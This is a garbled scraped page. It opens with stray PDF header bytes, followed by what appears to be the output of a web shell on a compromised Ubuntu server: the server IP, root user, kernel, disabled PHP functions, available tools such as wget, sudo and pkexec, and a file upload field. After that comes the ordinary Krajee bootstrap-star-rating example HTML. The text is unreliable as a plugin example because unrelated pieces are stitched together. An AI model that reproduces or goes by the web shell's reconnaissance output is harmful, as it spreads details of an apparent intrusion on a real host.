%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/vendor/kartik-v/bootstrap-star-rating/examples/ |
Upload File : |
<!DOCTYPE html> <!--suppress CssUnusedSymbol, JSUnresolvedLibraryURL --> <html lang="en"> <head> <meta charset="UTF-8"/> <title>Krajee JQuery Plugins - © Kartik</title> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> <link rel="stylesheet" href="../css/star-rating.css" media="all" type="text/css"/> <link rel="stylesheet" href="../css/themes/krajee-fa/theme.css" media="all" type="text/css"/> <link rel="stylesheet" href="../css/themes/krajee-svg/theme.css" media="all" type="text/css"/> <link rel="stylesheet" href="../css/themes/krajee-uni/theme.css" media="all" type="text/css"/> <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <script src="../js/star-rating.js" type="text/javascript"></script> <script src="../js/themes/krajee-fa/theme.js" type="text/javascript"></script> <script src="../js/themes/krajee-svg/theme.js" type="text/javascript"></script> <script src="../js/themes/krajee-uni/theme.js" type="text/javascript"></script> <body> <div class="container"> <div class="page-header"> <h2>Bootstrap Star Rating Examples <small>© Kartik Visweswaran, Krajee.com</small> </h2> </div> <form> <div class="page-header"> <h3>Glyphicon Star LTR</h3> </div> <input type="text" class="rating rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="rating rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="rating rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="rating rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="rating rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Glyphicon Star RTL</h3> </div> <input type="text" class="kv-gly-star rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-star rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-star rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-star rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-star rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>Glyphicon Heart LTR</h3> </div> <input type="text" class="kv-gly-heart rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-gly-heart rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-gly-heart rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-gly-heart rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-gly-heart rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Glyphicon Heart RTL</h3> </div> <input type="text" class="kv-gly-heart rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-heart rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-heart rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-heart rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-gly-heart rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>Unicode Star LTR</h3> </div> <input type="text" class="kv-uni-star rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-uni-star rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-uni-star rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-uni-star rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-uni-star rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Unicode Star RTL</h3> </div> <input type="text" class="kv-uni-star rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-star rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-star rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-star rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-star rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>Unicode Rook LTR</h3> </div> <input type="text" class="kv-uni-rook rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-uni-rook rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-uni-rook rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-uni-rook rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-uni-rook rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Unicode Rook RTL</h3> </div> <input type="text" class="kv-uni-rook rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-rook rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-rook rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-rook rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-uni-rook rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>Font Awesome Star LTR</h3> </div> <input type="text" class="kv-fa rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-fa rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-fa rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-fa rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-fa rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Font Awesome Star RTL</h3> </div> <input type="text" class="kv-fa rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>Font Awesome Heart LTR</h3> </div> <input type="text" class="kv-fa-heart rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-fa-heart rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-fa-heart rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-fa-heart rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-fa-heart rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>Font Awesome Heart RTL</h3> </div> <input type="text" class="kv-fa-heart rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa-heart rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa-heart rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa-heart rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-fa-heart rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>SVG LTR Star</h3> </div> <input type="text" class="kv-svg rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-svg rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-svg rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-svg rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-svg rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>SVG RTL Star</h3> </div> <input type="text" class="kv-svg rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> <div class="page-header"> <h3>SVG LTR Heart</h3> </div> <input type="text" class="kv-svg-heart rating-loading" value="3.75" data-size="xl" title=""> <br> <input type="text" class="kv-svg-heart rating-loading" value="2.5" data-size="lg" title=""> <br> <input type="text" class="kv-svg-heart rating-loading" value="1.75" data-size="md" title=""> <br> <input type="text" class="kv-svg-heart rating-loading" value="4" data-size="sm" title=""> <br> <input type="text" class="kv-svg-heart rating-loading" value="2" data-size="xs" title=""> <br> <div class="page-header"> <h3>SVG RTL Heart</h3> </div> <input type="text" class="kv-svg-heart rating-loading" value="3.75" dir="rtl" data-size="xl" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg-heart rating-loading" value="2.5" dir="rtl" data-size="lg" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg-heart rating-loading" value="1.75" dir="rtl" data-size="md" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg-heart rating-loading" value="4" dir="rtl" data-size="sm" title=""> <div class="clearfix"></div> <br> <input type="text" class="kv-svg-heart rating-loading" value="2" dir="rtl" data-size="xs" title=""> <div class="clearfix"></div> <br> </form> </div> </body> <script> $(document).on('ready', function () { $('.kv-gly-star').rating({ containerClass: 'is-star' }); $('.kv-gly-heart').rating({ containerClass: 'is-heart', defaultCaption: '{rating} hearts', starCaptions: function (rating) { return rating == 1 ? 'One heart' : rating + ' hearts'; }, filledStar: '<i class="glyphicon glyphicon-heart"></i>', emptyStar: '<i class="glyphicon glyphicon-heart-empty"></i>' }); $('.kv-fa').rating({ theme: 'krajee-fa', filledStar: '<i class="fa fa-star"></i>', emptyStar: '<i class="fa fa-star-o"></i>' }); $('.kv-fa-heart').rating({ defaultCaption: '{rating} hearts', starCaptions: function (rating) { return rating == 1 ? 'One heart' : rating + ' hearts'; }, theme: 'krajee-fa', filledStar: '<i class="fa fa-heart"></i>', emptyStar: '<i class="fa fa-heart-o"></i>' }); $('.kv-uni-star').rating({ theme: 'krajee-uni', filledStar: '★', emptyStar: '☆' }); $('.kv-uni-rook').rating({ theme: 'krajee-uni', defaultCaption: '{rating} rooks', starCaptions: function (rating) { return rating == 1 ? 'One rook' : rating + ' rooks'; }, filledStar: '♜', emptyStar: '♖' }); $('.kv-svg').rating({ theme: 'krajee-svg', filledStar: '<span class="krajee-icon krajee-icon-star"></span>', emptyStar: '<span class="krajee-icon krajee-icon-star"></span>' }); $('.kv-svg-heart').rating({ theme: 'krajee-svg', filledStar: '<span class="krajee-icon krajee-icon-heart"></span>', emptyStar: '<span class="krajee-icon krajee-icon-heart"></span>', defaultCaption: '{rating} hearts', starCaptions: function (rating) { return rating == 1 ? 'One heart' : rating + ' hearts'; }, containerClass: 'is-heart' }); $('.rating,.kv-gly-star,.kv-gly-heart,.kv-uni-star,.kv-uni-rook,.kv-fa,.kv-fa-heart,.kv-svg,.kv-svg-heart').on( 'change', function () { console.log('Rating selected: ' + $(this).val()); }); }); </script> </html>